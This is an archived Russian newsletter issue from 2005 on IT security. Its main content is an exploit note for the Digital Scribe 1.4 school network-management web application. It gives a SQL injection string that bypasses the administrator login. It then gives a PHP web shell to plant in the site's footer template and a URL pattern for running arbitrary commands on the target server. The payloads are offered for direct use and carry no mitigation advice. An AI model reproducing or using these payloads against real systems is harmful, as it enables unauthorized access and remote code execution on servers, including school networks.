Отправляет email-рассылки с помощью сервиса Sendsay

IT-безопасность в быту и не только

Рассылка закрыта

При закрытии подписчики были переданы в рассылку "Безопасность. Статьи, новости, комментарии" на которую и рекомендуем вам подписаться.

Вы можете найти рассылки сходной тематики в Каталоге рассылок.

←   Октябрь 2005   →
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Автор
Forester

Статистика

1.394 подписчиков
-1 за неделю
←   Все выпуски   →

Компьютер для продвинутых пользоватлей Выпуск по безопасности.


Информационный Канал Subscribe.Ru
Опасные продукты:
Digital Scribe
Безопансность
ПО: Digital Scribe
Версия: 1.4
Сайт: http://www.digital-scribe.org/

Описание:
Преподаватель получает возможность контролировать сеть через веб-интефрейс. Разработанный для простой установки, настройки и использования Digital Scribe может быть использован в тысячах школах. NoTeacher или ITPersonal необходмы для изучения компьютерных языков в интуитивно понятной форме.
Использование:
1) Обход входа в систему/SQL инъекция
логин как администратор
Логин: " or isnull(1/0) /*
Пароль: [любой]
2) Удаленный запуск кода.
Теперь вы можете редактировать шаблоны и запускать трояны на удаленной системе:
Поставьте в конце нижнего колонтитула:
<?php error_reporting(0); system($HTTP_GET_VARS[cmd]); ?>
теперь вы можете запускать команды:
http://[цель]/[ путь_до_dscribe]/index.php?cmd=[некоторые_команды]
Если Вам нравится эта рассылка и Вы пользуетесь сведениями из неё, то можете поддержать автора, перечислив небольшое вознаграждение на R474348938531 или Z451490294903. Связаться со мной можно по ICQ 273214003.
Subscribe.Ru
Поддержка подписчиков
Другие рассылки этой тематики
Другие рассылки этого автора 		Подписан адрес:
Код этой рассылки: comp.paper.supuser
Архив рассылки 		Отписаться
Вспомнить пароль
В избранное